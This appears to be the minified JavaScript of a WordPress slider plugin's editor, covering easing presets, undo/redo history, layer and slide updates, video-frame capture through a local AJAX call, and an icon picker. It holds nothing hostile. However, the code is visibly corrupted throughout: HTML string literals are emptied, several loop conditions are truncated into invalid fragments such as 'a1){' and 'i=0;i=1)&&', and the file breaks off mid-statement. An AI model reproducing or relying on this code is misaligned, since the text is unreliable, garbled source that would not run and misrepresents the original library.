0===window.RVS?{}:window.RVS,RVS.F=void 0===RVS.F?{}:RVS.F,RVS.ENV=void 0===RVS.ENV?{}:RVS.ENV,RVS.LIB=void 0===RVS.LIB?{}:RVS.LIB,RVS.V=void 0===RVS.V?{}:RVS.V,RVS.S=void 0===RVS.S?{}:RVS.S,RVS.C=void 0===RVS.C?{}:RVS.C,RVS.WIN=void 0===RVS.WIN?jQuery(window):RVS.WIN,RVS.DOC=void 0===RVS.DOC?jQuery(document):RVS.DOC,window._R_is_Editor="true"===window._R_is_Editor||void 0,window.RS_EASES={default:"Default",none:"none","power0.in":"power0.in","power0.inOut":"power0.inOut","power0.out":"power0.out","power1.in":"power1.in","power1.inOut":"power1.inOut","power1.out":"power1.out","power2.in":"power2.in","power2.inOut":"power2.inOut","power2.out":"power2.out","power3.in":"power3.in","power3.inOut":"power3.inOut","power3.out":"power3.out","power4.in":"power4.in","power4.inOut":"power4.inOut","power4.out":"power4.out","back.in":"back.in","back.inOut":"back.inOut","back.out":"back.out","bounce.in":"bounce.in","bounce.inOut":"bounce.inOut","bounce.out":"bounce.out",BounceLite:"Bounce Lite",BounceSolid:"Bounce Solid",BounceStrong:"Bounce Strong",BounceExtrem:"Bounce Extrem","circ.in":"circ.in","circ.inOut":"circ.inOut","circ.out":"circ.out","elastic.in":"elastic.in","elastic.inOut":"elastic.inOut","elastic.out":"elastic.out","expo.in":"expo.in","expo.inOut":"expo.inOut","expo.out":"expo.out","sine.in":"sine.in","sine.inOut":"sine.inOut","sine.out":"sine.out",slow:"slow",SFXBounceLite:"SFX - Bounce Lite",SFXBounceSolid:"SFX - Bounce Solid",SFXBounceStrong:"SFX - Bounce Strong",SFXBounceExtrem:"SFX - Bounce Extrem"},window.RS_PRESETS={R:"shuffle",C:"create",I:"system_update_alt",SC:"border_inner",SR:"border_left",SB:"border_top",ST:"border_bottom",SL:"border_right",BH:"border_horizontal",BV:"border_vertical",CL:"remove_circle_outline",LI:"link",LO:"local_offer",CA:"compare_arrows",CY:"import_export"},function(){var e,t,i,a,r,o,s,n,d,c,p,S,u,v,R;function V(e){!0===e.todo.SliderSettings&&(RVS.F.sliderUpdateAllFields(!0),jQuery(".sliderinput").trigger("init")),e.todo.slide=void 0!==e.todo.forceSelectSlide?e.todo.forceSelectSlide:e.todo.slide,e.todo.slide=void 0===e.todo.slide?RVS.S.slideId:e.todo.slide,e.todo.slide=RVS.F._inArray(e.todo.slide,RVS.SLIDER.slideIDs)>=0?e.todo.slide:RVS.SLIDER.slideIDs[0],e.todo.redrawLayers=!0,!0===e.todo.SlideSettings&&(0===jQuery(".slide_list_element.sortable_slide_list_element").length?e.todo.mode="sliderlayout":RVS.F.setSlideFocus({slideid:e.todo.slide})),!0===e.todo.SlideList&&RVS.F.reSortSlides();var t=!1;if(("slidelayout"==e.todo.mode&&(e.SlideSettings||""+e.todo.slide!=""+RVS.S.slideId)||"slidelayout"!==e.todo.mode&&void 0!==e.todo.mode)&&(RVS.F.mainMode({mode:e.todo.mode,set:!0,slide:e.todo.slide}),t=!0,e.todo.redrawLayers=!1),"slidelayout"!==e.todo.mode||e.todo.layerAndSlideMode||(void 0!==e.todo.layer?RVS.DOC.trigger("changeToLayerMode"):RVS.DOC.trigger("changeToSlideMode")),t||!e.todo.rebuildLayerList&&!0!==e.todo.LayerSorting||(("slidelayout"!==e.todo.mode||e.todo.forceRebuildLayerList)&&(RVS.H={},RVS.F.buildLayerLists({force:!0,ignoreSelectLayers:void 0!==e.todo.lastSelectedLayers}),RVS.F.updateLayerToggleActionWaits(),RVS.DOC.trigger("allLayersRebuilt"),e.todo.redrawLayers=!1),RVS.F.reOrderHTMLLayers()),void 0!==e.todo.framesToAdd){for(var i in e.todo.framesToAdd)e.todo.framesToAdd.hasOwnProperty(i)&&(RVS.F.addLayerFrameOnDemand(RVS.L[e.todo.framesToAdd[i].layerid],e.todo.framesToAdd[i].el,e.todo.framesToAdd[i].newframe),RVS.F.getFrameOrder({layerid:e.todo.framesToAdd[i].layerid}),RVS.F.updateFramesZIndexes({layerid:e.todo.framesToAdd[i].layerid}));RVS.DOC.trigger("updateKeyFramesList")}if(void 0!==e.todo.framesToRedraw)for(var i in e.todo.framesToRedraw)e.todo.framesToRedraw.hasOwnProperty(i)&&(RVS.F.updateLayerFrames({layerid:e.todo.framesToRedraw[i]}),RVS.F.renderLayerAnimation({layerid:e.todo.framesToRedraw[i]}));if(void 0!==e.todo.framesToReorder){for(var i in e.todo.framesToReorder)e.todo.framesToReorder.hasOwnProperty(i)&&(RVS.F.getFrameOrder({layerid:e.todo.framesToReorder[i].layerid}),RVS.F.updateFramesZIndexes({layerid:e.todo.framesToReorder[i].layerid}));RVS.DOC.trigger("updateKeyFramesList")}if(void 0!==e.todo.lastSelectedLayers)for(var i in e.todo.lastSelectedLayers)e.todo.lastSelectedLayers.hasOwnProperty(i)&&void 0!==RVS.L[e.todo.lastSelectedLayers[i]]&&(RVS.F.selectLayers({id:e.todo.lastSelectedLayers[i],action:"add"}),e.todo.redrawLayers=!1);for(var i in e.todo.updateLayerImageSrcList)e.todo.updateLayerImageSrcList.hasOwnProperty(i)&&RVS.F.updateLayerImageSrc({},{layerid:e.todo.updateLayerImageSrcList[i]});if(e.todo.redrawLayers&&void 0!==e.todo.layers&&e.todo.layers.length>0)for(var i in e.todo.layers)e.todo.layers.hasOwnProperty(i)&&RVS.F.drawHTMLLayer({uid:e.todo.layers[i]});if(void 0!==e.todo.callBack&&e.todo.callBack(),"undo"==e.dir&&e.todo.rebuildLayerList)for(var i in e.todo.step.steps)e.todo.step.steps.hasOwnProperty(i)&&"removeLayer"===e.todo.step.id&&RVS.F.updateTriggeringActionRelations(e.todo.step.steps[i].path);RVS.DOC.trigger("SceneUpdatedAfterRestore",e)}function m(e){var t=RVS.F.isNumeric(e.path);if(void 0!==e.backupType&&(e.todo.SlideList=!0,e.todo.SliderSettings=!0,e.todo.SlideSettings=!0,e.todo.LayerSettings=!0,e.todo.LayerSorting=!0,e.todo.layerAndSlideMode=!1),t||0!==e.path.indexOf("settings")||(e.todo.SliderSettings=!0,e.todo.mode="sliderlayout"),!t&&e.path.indexOf(".layers.")>=0&&e.path.indexOf(".layers.")<=6){e.todo.lastSelectedLayers=RVS.selLayers,e.todo.LayerSettings=!0;var i=e.path.split("."),a=jQuery.inArray("layers",i);e.todo.slide=i[a-1],e.todo.layer=i[a+1],e.todo.layers=void 0===e.todo.layers?[]:e.todo.layers,-1===jQuery.inArray(i[a+1],e.todo.layers)&&e.todo.layers.push(i[a+1]),e.todo.mode="slidelayout"}if(!t&&e.path.indexOf(".slide.")>=0&&e.path.indexOf(".slide.")<=6){e.todo.SlideSettings=!0;i=e.path.split("."),a=jQuery.inArray("slide",i);e.todo.slide=i[a-1],e.todo.mode="slidelayout"}return!t&&(e.path.indexOf(".slide.timeline.delay")>=0||e.path.indexOf(".slide.slideChange.speed")>=0)&&(e.todo.layerAndSlideMode=!0),"slideIDs"===e.path&&(e.todo.SlideList=!0),"layersorting"!==e.groupid&&"layersorting_layermovement"!==e.groupid||(e.todo.LayerSorting=!0,e.todo.slide=e.path.split(".")[0]),e.todo}function g(e){var t=e.step,i=void 0===e.todo?{SlideList:!1,SliderSettings:!1,SlideSettings:!1,LayerSettings:!1,LayerSorting:!1}:e.todo;if(i.updateLayerImageSrcList=void 0===i.updateLayerImageSrcList?[]:i.updateLayerImageSrcList,i.slides=void 0===i.slides?[]:i.slides,void 0!==t.chngamount){for(var a in t.steps)if(t.steps.hasOwnProperty(a)){var r=t.steps[a];if("old"===e.valkey)r=t.steps[t.chngamount-a-1];if(void 0!==r.backupType)switch("addlayer"!==r.bckpGrType&&"removelayer"!==r.bckpGrType&&"layerTemplateAnimation"!==r.bckpGrType||(i.forceRebuildLayerList=!0),r.backupType){case"layerFrames":jQuery.isEmptyObject(r[e.valkey])||(RVS.SLIDER[r.slide].layers[r.layer].timeline.frames=jQuery.extend(!0,{},r[e.valkey]),i.framesToRedraw=void 0===i.framesToRedraw?[]:i.framesToRedraw,i.framesToRedraw.push(r.layer));break;case"clipPath":jQuery.isEmptyObject(r[e.valkey])||(RVS.SLIDER[r.slide].layers[r.layer].timeline.clipPath=jQuery.extend(!0,{},r[e.valkey]),i.framesToRedraw=void 0===i.framesToRedraw?[]:i.framesToRedraw,i.framesToRedraw.push(r.layer));break;case"singleFrame":jQuery.isEmptyObject(r[e.valkey])||(RVS.SLIDER[r.slide].layers[r.layer].timeline.frames[r.frame]=jQuery.extend(!0,{},r[e.valkey]),i.framesToRedraw=void 0===i.framesToRedraw?[]:i.framesToRedraw,i.framesToRedraw.push(r.layer));break;case"layerLoop":jQuery.isEmptyObject(r[e.valkey])||(RVS.SLIDER[r.slide].layers[r.layer].timeline.loop=jQuery.extend(!0,{},r[e.valkey]),i.framesToRedraw=void 0===i.framesToRedraw?[]:i.framesToRedraw,i.framesToRedraw.push(r.layer));break;case"frame":jQuery.isEmptyObject(r[e.valkey])?(delete RVS.SLIDER[r.slide].layers[r.layer].timeline.frames[r.frame],jQuery("#"+r.slide+"_"+r.layer+"_"+r.frame).remove(),i.framesToReorder=void 0===i.framesToReorder?[]:i.framesToReorder,i.framesToReorder.push({layerid:r.layer})):(RVS.SLIDER[r.slide].layers[r.layer].timeline.frames[r.frame]=jQuery.extend(!0,{},r[e.valkey]),i.framesToAdd=void 0===i.framesToAdd?[]:i.framesToAdd,i.framesToAdd.push({layerid:r.layer,el:document.getElementById("tllayerlist_element_"+r.slide+"_"+r.layer),newframe:r.frame}));break;case"slide":jQuery.isEmptyObject(r[e.valkey])?(delete RVS.SLIDER[r.path],r.cache=jQuery("#slide_list_element_"+r.path).removeClass("selected").detach(),i.forceSelectSlide=r.beforeSelected):(RVS.SLIDER[r.path]=jQuery.extend(!0,{},r[e.valkey]),void 0!==r.cache&&RVS.C.slideList.append(r.cache),jQuery.inArray(r.bckpGrType,["addnewslide","duplicateslide"])>=0?i.forceSelectSlide=r.path:i.forceSelectSlide=r.beforeSelected),i.mode="slidelayout";break;case"object":jQuery.isEmptyObject(r[e.valkey])?delete RVS.SLIDER[r.path]:RVS.F.writeDeepPath(RVS.SLIDER,r.path,jQuery.extend(!0,{},r[e.valkey])),i.callBack=r.callBack;break;case"array":void 0!==r[e.valkey]&&(RVS.F.writeDeepPath(RVS.SLIDER,r.path,r[e.valkey]),i.callBack=r.callBack);break;case"layer":jQuery.isEmptyObject(r[e.valkey])?(delete RVS.SLIDER[void 0!==r.slideid?r.slideid:RVS.S.slideId].layers[r.path],jQuery("#_lc_"+(void 0!==r.slideid?r.slideid:RVS.S.slideId)+"_"+r.path+"_").remove()):RVS.SLIDER[void 0!==r.slideid?r.slideid:RVS.S.slideId].layers[r.path]=jQuery.extend(!0,{},r[e.valkey]),i.rebuildLayerList=!0,i.layer=!0;break;case"full":RVS.SLIDER=jQuery.extend(!0,{},r[e.valkey])}else RVS.F.updateSliderObj({path:r.path,val:r[e.valkey],ignoreBackup:!0,ignoreResponsive:r.ignoreResponsive,wasEdited:r.wasEdited,editedPath:r.editedPath,undoRedo:"old"===e.valkey?"undo":"redo"});"updatelayerimagesrc"===r.evt&&-1===jQuery.inArray(i.updateLayerImageSrcList.indexOf,r.uid)&&i.updateLayerImageSrcList.push(r.uid),i=m({todo:i,path:r.path,groupid:t.id})}-1===jQuery.inArray(i.slide,i.slides)&&i.slides.push(i.slide),"layersorting_layermovement"==t.id&&(i.forceRebuildLayerList=!0)}else{if(void 0!==t.backupType)switch(t.backupType){case"slide":jQuery.isEmptyObject(t[e.valkey])?delete RVS.SLIDER[t.path]:RVS.SLIDER[t.path]=jQuery.extend(!0,{},t[e.valkey]);break;case"full":RVS.SLIDER=jQuery.extend(!0,{},t[e.valkey])}else RVS.F.updateSliderObj({path:t.path,val:t[e.valkey],ignoreBackup:!0,evt:t.evt,evtparam:t.evtparam,undoRedo:"old"===e.valkey?"undo":"redo",ignoreResponsive:t.ignoreResponsive,wasEdited:t.wasEdited,editedPath:t.editedPath});i=m({todo:i,path:t.path}),-1===jQuery.inArray(i.slide,i.slides)&&i.slides.push(i.slide)}return i.step=e.step,i}function f(e){void 0!==e&&void 0===e.type&&(e.type=e.path.indexOf(RVS.S.slideId+".layers.")>=0?"layer":e.type);var t=e.path,i=t.indexOf("addOns")>=0?t.split("addOns.")[1]:"none",a="layer"===e.type?"layers":"undo",r=e.path.split(".");return r=r[r.length-1],{txt:"none"!==i?i.replace("revslider-","").replace("-addon."," "+("layer"===e.type?"layer":"Slide")+" "):t.indexOf("settings.size.width")>=0?"Layer Container Width":t.indexOf("settings.size.height")>=0?"Layer Container Height":t.indexOf("settings.size.minHeight")>=0?"Slider Min Height":t.indexOf("settings.size.maxWidth")>=0?"Slider Max Width":t.indexOf("settings.size")>=0?"Slider Size Settings":t.indexOf("settings.carousel")>=0?"Carousel Settings":t.indexOf("slide.bg")>=0?"Slide Background":t.indexOf(".fontWeight")>=0?"Font Weight":t.indexOf(".fontSize")>=0?"Font Size":t.indexOf(".fontFamily")>=0?"Font Family":t.indexOf(".fontStyle")>=0?"Font Style":t.indexOf(".textTransform")>=0?"Text Transform":t.indexOf(".idle.selectable")>=0?"Layer Markable":t.indexOf(".textDecoration")>=0?"Text Decoration":t.indexOf("slide.attributes")>=0?"Slide Attributes":t.indexOf(".media")>=0&&"layer"===e.type?"Media ("+r+")":t.indexOf("alias")>=0&&(t.indexOf(".layers")>=0||"layer"===e.type)?"Layer Alias":t.indexOf("slide.slideChange.speed")>=0?"Slide Transition Speed":t.indexOf("timeline.frames")>=0?"Layer Animation ("+r+")":"slideIDs"===t?"Slide Order Change":t,icon:a="none"!==i?"extension":t.indexOf("settings.size.width")>=0?"open_with":t.indexOf("settings.size.height")>=0?"open_with":t.indexOf("settings.size.minHeight")>=0?"vertical_align_bottom":t.indexOf("settings.size.maxWidth")>=0?"trending_flat":t.indexOf("settings.size")>=0?"exposure":t.indexOf("settings.carousel")>=0?"view_carousel":t.indexOf("slide.bg")>=0?"image":t.indexOf(".fontWeight")>=0?"font_download":t.indexOf(".fontSize")>=0?"text_format":t.indexOf(".fontFamily")>=0?"translate":t.indexOf(".fontStyle")>=0?"format_italic":t.indexOf(".textTransform")>=0?"text_fields":t.indexOf(".idle.selectable")>=0?"select_all":t.indexOf(".textDecoration")>=0?"text_format":t.indexOf("slide.attributes")>=0?"speaker_notes":t.indexOf(".media")>=0&&"layer"===e.type?"videocam":t.indexOf("alias")>=0&&(t.indexOf(".layers")>=0||"layer"===e.type)?"title":t.indexOf("slide.slideChange.speed")>=0?"timelapse":t.indexOf("timeline.frames")>=0?"theaters":"slideIDs"===t?"sort":a,lastkey:e.lastkey}}function y(e){e.pos.x=e.mem.x+e.revert.x*RVS.S.DaD.dragdelta.x,e.pos.y=e.mem.y+e.revert.y*RVS.S.DaD.dragdelta.y,e.updateInput&&(void 0!==e.input&&void 0!==e.input.x&&e.input.x.val(e.pos.x),void 0!==e.input&&void 0!==e.input.y&&e.input.y.val(e.pos.y)),RVS.F.updateSliderObj({path:e.attributeRoot+e.attribute.x,val:e.pos.x}),RVS.F.updateSliderObj({path:e.attributeRoot+e.attribute.y,val:e.pos.y}),void 0!==e.callEvent&&jQuery(document.body).trigger(e.callEvent,e.callEventParam)}function h(e){var t='";for(var i in e.array)e.array.hasOwnProperty(i)&&(void 0!==e.filter&&"all"!==e.filter&&e.filter!==e.array[i].type||void 0!==e.subfilter&&"all"!==e.subfilter&&e.subfilter!==e.array[i].subtype||(t+=""));return t}function _(e){var t=e.replace("*north*","Up").replace("*south*","Down").replace("*swap_vert*","Vertical").replace("*swap_horiz*","Horizontal").replace("*east*","Right").replace("*east*","Right").replace("*add*","Zoom In").replace("*remove*","Zoom Out").replace("*west*","Left").split("*");return t[t.length-1]}function b(e){var t='
';return t+='",t+="
"}function L(e){return"50%"==e.originX&&delete e.originX,"50%"==e.originY&&delete e.originY,"0"==e.originZ&&delete e.originZ,e}RVS.F.initAdmin=function(){RVS.S.isChrome8889=navigator.userAgent.includes("Chrome/88")||navigator.userAgent.includes("Chrome/89");try{jQuery.fn.select2=void 0===jQuery.fn.select2?jQuery.fn.ddTP:jQuery.fn.select2}catch(e){}try{$.fn.select2=void 0===$.fn.select2?$.fn.ddTP:$.fn.select2}catch(e){}RVS.screen="d",RVS.S.bckpGrp=!1,RVS.S.winh=RVS.WIN.height(),RVS.S.winw=RVS.WIN.width(),RVS.ENV.youtubeargs="hd=1&wmode=opaque&showinfo=0&rel=0;",RVS.ENV.vimeoargs="title=0&byline=0&portrait=0&api=1",RVS.V.sizes=["d","n","t","m"],RVS.V.dirs=["top","bottom","left","right"],RVS.V.sizesold=["desktop","notebook","tablet","mobile"],RVS.ENV.grid_sizes={d:1240,n:1024,t:778,m:480,none:"none"},RVS.ENV.globVerOffset=275,RVS.S.shrink={d:1,m:.625,n:.82580645,t:.75},RVS.S.mP={top:0,left:0},RVS.S.redoList=[],RVS.S.undoList=[],RVS.S.layer_wrap_offset={x:0,y:0},RVS.S.navOffset={thumbs:{top:0,bottom:0,left:0,right:0},tabs:{top:0,bottom:0,left:0,right:0}},RVS.S.rb_ScrollX=0,RVS.S.rb_ScrollY=0,RVS.eMode=void 0===RVS.eMode?{top:"",menu:"",mode:""}:RVS.eMode,RVS.S.respInfoBar={},RVS.V.timeline_height="auto",RVS.V.timeline_minHeight=275,RVS.V.timeline_minOpenHeight=275,RVS.S.editorSize={w:RVS.WIN.width()-335,h:RVS.WIN.height()-RVS.V.timeline_minHeight-65},RVS.S.editorSize.width=RVS.S.editorSize.w,RVS.S.editorSize.height=RVS.S.editorSize.h,RVS.S.click={x:0,y:0},RVS.JHOOKS={createLayerListElement:[],redrawSlideBG:[],prepareOneSlide:[],layerListElementClicked:[],updateFrameOptionsVisual:[],changeLayerAnimation:[],defaultFrame:[],extendSlideAnimationList:[]},RVS.S.DaD={},RVS.S.DaD.dragdelta={x:0,y:0},RVS.WIN.on("resize",function(){var e=RVS.WIN.width(),t=RVS.WIN.height();RVS.S.winw==e&&RVS.S.winh==t||(RVS.S.winh=t,RVS.S.winw=e,RVS.S.editorSize.w=RVS.S.editorSize.width=RVS.S.winw-335,RVS.S.editorSize.h=RVS.S.editorSize.height=RVS.S.winh-RVS.V.timeline_minHeight-65,clearTimeout(o),o=setTimeout(function(){RVS.DOC.trigger("windowresized"),!0!==RVS.S.ovMode&&RVS.F.updateAllHTMLLayerPositions(!0),requestAnimationFrame(function(){"function"==typeof RVS.F.CSTRETCH&&RVS.F.CSTRETCH()&&RVS.DOC.trigger("device_area_dimension_update")})},25))}),RVS.DOC.on("mousemove","#builderView",function(e){RVS.S.mP.top=e.pageY,RVS.S.mP.left=e.pageX,s&&tpGS.gsap.set(RVS.C.mouseInfo,{top:RVS.S.mP.top-40,left:RVS.S.mP.left+40,display:"block"}),void 0!==RVS.S.builderHover&&!1!==RVS.S.builderHover&&RVS.F.setRulerMarkers({x:RVS.S.mP.left,y:RVS.S.mP.top})}),RVS.DOC.on("touchstart mouseenter",".tparrows, .tp-bullets, .tp-bullet, .tp-tab, .tp-thumb, .tp-thumbs, .tp-tabs, .tp-rightarrow, .tp-leftarrow",function(){-1===this.className.indexOf("rs-touchhover")&&(this.className+=" rs-touchhover")}),RVS.DOC.on("touchend mouseleave",".tparrows, .tp-bullets, .tp-bullet, .tp-tab, .tp-thumb, .tp-tabs, .tp-rightarrow, .tp-leftarrow",function(){this.className=this.className.replace("rs-touchhover","")})},RVS.F.get_browser=function(){var e,t=navigator.userAgent,i=t.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i)||[];return/trident/i.test(i[1])?(e=/\brv[ :]+(\d+)/g.exec(t)||[],"IE"):"Chrome"===i[1]&&null!=(e=t.match(/\b(OPR|Edge)\/(\d+)/))?e[1].replace("OPR","Opera"):(i=i[2]?[i[1],i[2]]:[navigator.appName,navigator.appVersion,"-?"],null!=(e=t.match(/version\/(\d+)/i))&&i.splice(1,1,e[1]),i[0])},RVS.F.isFirefox=function(e){return RVS.ENV.isFirefox=void 0===RVS.ENV.isFirefox?"Firefox"===RVS.F.get_browser():RVS.ENV.isFirefox,RVS.ENV.isFirefox},RVS.F.HighContrast=function(e){"toggle"===e?jQuery(document.body).hasClass("rs-high-contrast")?jQuery(document.body).removeClass("rs-high-contrast"):jQuery(document.body).addClass("rs-high-contrast"):e?jQuery(document.body).addClass("rs-high-contrast"):jQuery(document.body).removeClass("rs-high-contrast")},RVS.F.getStartSec=function(e){return null==e||""===e||" "===e?0:RVS.F.isNumeric(e)?e:e.split(":").length>1?60*parseInt(e.split(":")[0],0)+parseInt(e.split(":")[1],0):e},RVS.F.videoExtract={init:function(){var e=RVS.F.videoExtract;e.canvas=document.createElement("canvas"),e.ctx=e.canvas.getContext("2d"),e.video=document.createElement("video"),e.inited=!0},get:function(e,t,i,a){void 0!==e&&(void 0===RVS.F.videoExtract.inited&&RVS.F.videoExtract.init(),RVS.F.videoExtract.at=RVS.F.getStartSec(i),RVS.F.videoExtract.callBack=t,RVS.F.videoExtract.video.addEventListener("loadeddata",RVS.F.videoExtract.draw),RVS.F.videoExtract.lastloaded==e&&RVS.F.videoExtract.draw(),RVS.F.videoExtract.video.src=e,RVS.F.videoExtract.param=a)},draw:async function(){return new Promise(async e=>{var t,i=RVS.F.videoExtract;for(i.video.addEventListener("seeked",async function(){t&&t()});(i.video.duration===1/0||isNaN(i.video.duration))&&i.video.readyState<2;)i.video.currentTime=1e7*Math.random();i.lastloaded=i.video.src,i.canvas.width=i.video.videoWidth,i.canvas.height=i.video.videoHeight,i.video.currentTime=void 0===i.at?0:i.at,await new Promise(e=>t=e),i.ctx.drawImage(i.video,0,0,i.video.videoWidth,i.video.videoHeight),i.data=i.canvas.toDataURL("image/jpeg",.75),i.save(),e()})},save:function(){RVS.F.videoExtract;RVS.F.ajaxRequest("create_image_from_raw",{bitmap:RVS.F.videoExtract.data,mpeg:RVS.F.videoExtract.video.src,slideid:(""+RVS.S.slideId).replace("static_","")+("layer"===RVS.F.videoExtract.param?"_layer":"")},function(e){e.success&&RVS.F.videoExtract.callBack(e,RVS.F.videoExtract.param)})}},RVS.F.setBGPosterImage=function(e,t,i){"slide"===i?RVS.F.updateImageSrcFromMedia({evt:"updateslidebasic",evtparam:"double",r:"#slide#.slide.bg.image",rid:"#slide#.slide.bg.imageId",lib:"#slide#.slide.bg.imageLib",sty:"#slide#.slide.bg.imageSourceType",targetType:"slide"},e,t):"layer"===i&&RVS.F.updateImageSrcFromMedia({evt:"updatelayerimagesrc",r:"media.posterUrl",rid:"media.posterId",lib:"media.imageLib",sty:"behavior.imageSourceType",targetType:"layer"},e,t)},RVS.F.updateSliderObj=function(e){if(!(e.path.indexOf("#targetlayer#")>=0)||void 0!==RVS.S.actionTrgtLayerId&&"none"!==RVS.S.actionTrgtLayerId){e.path=RVS.F.getConcVals(e.path,RVS.screen);var t=e.path.split("."),i=!1;try{e.old=RVS.F.getDeepValue(RVS.SLIDER,e.path),RVS.F.writeDeepPath(RVS.SLIDER,e.path,e.val),e.lastkey=t[t.length-1]}catch(t){i=!0,console.log("Object Path Does Not Exists:"+e.path)}if(!0!==i&&!0!==e.ignoreResponsive&&("v"===t[t.length-1]||"v"===t[t.length-2])){if(e.uid=void 0===e.uid?t[jQuery.inArray("layers",t)+1]:e.uid,void 0===e.editedPath){e.editedPath="";for(var a=0;"v"!==t[a]&&a1){t=e.path;var i={path:e.path,icon:"layers",lastkey:"layer",type:"layer",id:"MultipleLayers"};RVS.F.openBackupGroup(f(i))}for(var a in RVS.selLayers)RVS.selLayers.hasOwnProperty(a)&&(void 0!==e.evt&&(e.evtparam=void 0===e.evtparam?{}:e.evtparam,e.evtparam.layerid=RVS.selLayers[a]),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[a]+"."+e.path,val:e.val,evt:e.evt,evtparam:e.evtparam,uid:RVS.selLayers[a],ignoreBackup:e.ignoreBackup}),!0!==e.ignoreRedraw&&RVS.F.drawHTMLLayer({uid:RVS.selLayers[a]}));"none"!==t&&RVS.F.closeBackupGroup({id:"MultipleLayers"})},RVS.F.openBackupGroup=function(e){e.steps=[],RVS.S.bckpGrp=e,RVS.S.bckpGrp.chngamount=0},RVS.F.closeBackupGroup=function(e){e.ignore||(RVS.S.bckpGrp.close=!0,RVS.F.backup(RVS.S.bckpGrp))},RVS.F.ignoreEventsOpen=function(){r=!0},RVS.F.ignoreEventsClose=function(){r=!1},RVS.F.backup=function(e){if(!0!==RVS.S.ovMode&&(!0===e.force||!0===RVS.S.bckpGrp.close||e.val!==e.old)){if(0!=RVS.S.bckpGrp&&!0!==RVS.S.bckpGrp.close)RVS.S.bckpGrp.steps.push(e),RVS.S.bckpGrp.chngamount++;else{RVS.F.clearRedoList();var t=0!=RVS.S.bckpGrp?{icon:RVS.S.bckpGrp.icon,txt:RVS.S.bckpGrp.txt,lastkey:RVS.S.bckpGrp.chngamount}:void 0!==e.icon&&void 0!==e.txt?{icon:e.icon,txt:e.txt,lastkey:e.lastkey}:f(e),i=document.createElement("span");e.stepElement=RVS.F.cE({t:"li",cN:"undoredostep toolbar_listelement"}),i.style.display="inline-block",i.style.minWidth="150px",i.textContent=t.txt,e.stepElement.appendChild(RVS.F.cI({c:t.icon})),e.stepElement.appendChild(i),RVS.S.undoList.push(e),RVS.S.undoList.length>30&&(RVS.S.undoList.splice(0,1),RVS.C.undo.removeChild(RVS.C.undo.querySelector("li"))),RVS.C.undo.appendChild(e.stepElement),RVS.S.bckpGrp=!1}1,RVS.S.need_to_save=!0}},RVS.F.clearRedoList=function(){RVS.S.redoList=[],RVS.C.redo.innerHTML=""},RVS.F.undo=function(e){var t;if((void 0===e||e.step>=1)&&(e.step=void 0===e.step?1:e.step,RVS.S.undoList.length>e.step-1)){for(var i=0;i=1)&&(e.step=void 0===e.step?1:e.step,RVS.S.redoList.length>e.step-1)){for(var i=0;i0&&void 0!==RVS.S.undoList[e]&&RVS.C.undo.appendChild(RVS.S.undoList[e].stepElement);for(var t in RVS.S.redoList)RVS.S.redoList.length>0&&void 0!==RVS.S.redoList[t]&&RVS.C.redo.prepend(RVS.S.redoList[t].stepElement);jQuery("#undoredowrap").RSScroll("update")},RVS.F.showIconPicker=function(e){RVS.F.container=void 0===RVS.F.container?jQuery('
close
'):RVS.F.container,void 0===RVS.F.list&&(RVS.F.list=jQuery('
'),RVS.F.container.append(RVS.F.list)),void 0!==e.parent&&jQuery(e.parent).append(RVS.F.container),void 0!==e.classlist&&(RVS.F.container[0].className=e.classlist),RVS.F.insertinto=jQuery(e.insertinto),RVS.S.icon_closeafterpick=e.closeafterpick,RVS.S.icon_shortreturn=e.shortreturn,RVS.S.icon_overwrite="true"==e.overwrite||1==e.overwrite,"#ta_layertext"===e.insertinto&&"none"===RVS.F.insertinto[0].style.display&&(RVS.F.insertinto=jQuery("#ta_toggletext")),null==RVS.LIB.OBJ||void 0===RVS.LIB.OBJ.items||void 0===RVS.LIB.OBJ.items.fonticons?RVS.F.openObjectLibrary({types:["fonticons"],filter:"all",selected:["fonticons"],event:"showIconToTextLayerForm",silent:!0}):RVS.DOC.trigger("showIconToTextLayerForm")},RVS.F.initIconPicker=function(){RVS.F.initialized||(RVS.F.initialized=!0,RVS.DOC.on("showIconToTextLayerForm",function(){if(RVS.F.open=!0,!RVS.V.buildIconPicker)for(var e in RVS.V.buildIconPicker=!0,RVS.LIB.OBJ.items.fonticons)if(RVS.LIB.OBJ.items.fonticons.hasOwnProperty(e)){var t=RVS.LIB.OBJ.items.fonticons[e];void 0!==t.tags&&(void 0===RVS.C[t.tags[0]]&&(RVS.C[t.tags[0]]=jQuery('
'+t.tags[0]+"
"),RVS.F.list.append(RVS.C[t.tags[0]])),"MaterialIcons"===t.tags[0]?RVS.C[t.tags[0]].append(''+t.handle.replace(".","")+""):RVS.C[t.tags[0]].append(''))}RVS.F.container.show(),RVS.F.list.RSScroll({wheelPropagation:!1,suppressScrollX:!0})}),RVS.DOC.on("click",".closers_iconselector",function(){RVS.F.open=!1,RVS.F.container.hide()}),RVS.DOC.on("keyup","#rs_iconselector_search",function(){if(this.value.length>1){RVS.F.list.scrollTop(0);var e=this.value.toLowerCase();RVS.F.list.find("i").each(function(){this.dataset.title.toLowerCase().indexOf(e)>=0?this.style.display="inline-block":this.style.display="none"})}else RVS.F.list.find("i").each(function(){this.style.display="inline-block"})}),jQuery(document.body).on("click",function(e){if(RVS.F.open)if("rs_iconselector_search"===e.target.id);else if(e.target.dataset.fonticon)RVS.S.icon_shortreturn?RVS.F.insertinto.val(e.target.className):RVS.S.icon_overwrite?RVS.F.insertinto.val(''+("material-icons"===e.target.className?e.target.innerHTML:"")+""):RVS.F.insertinto.val(RVS.F.insertinto.val()+''+("material-icons"===e.target.className?e.target.innerHTML:"")+""),RVS.F.insertinto.trigger("change"),RVS.S.icon_closeafterpick&&(RVS.F.open=!1,RVS.F.container.hide());else if(!(jQuery(e.target).closest("#rs_iconselector_inner").length>0))return RVS.F.open=!1,RVS.F.container.hide(),!1}))},RVS.DOC.on("addIcontoTextLayer",function(e,t){RVS.F.initIconPicker();var i=t.event.currentTarget.dataset;console.log(i),RVS.F.showIconPicker({parent:i.iconparent,classlist:i.classlist,insertinto:i.insertinto,overwrite:i.overwrite,closeafterpick:i.closeafterpick,shortreturn:i.shortreturn})}),RVS.F.addBodyClickListener=function(e){jQuery(document.body).on("click.revbuilderbodyclick",function(e){if(void 0!==RVS.S.waitOnFeedback&&void 0!==RVS.S.waitOnFeedback.allowed){var t=!1;for(var i in 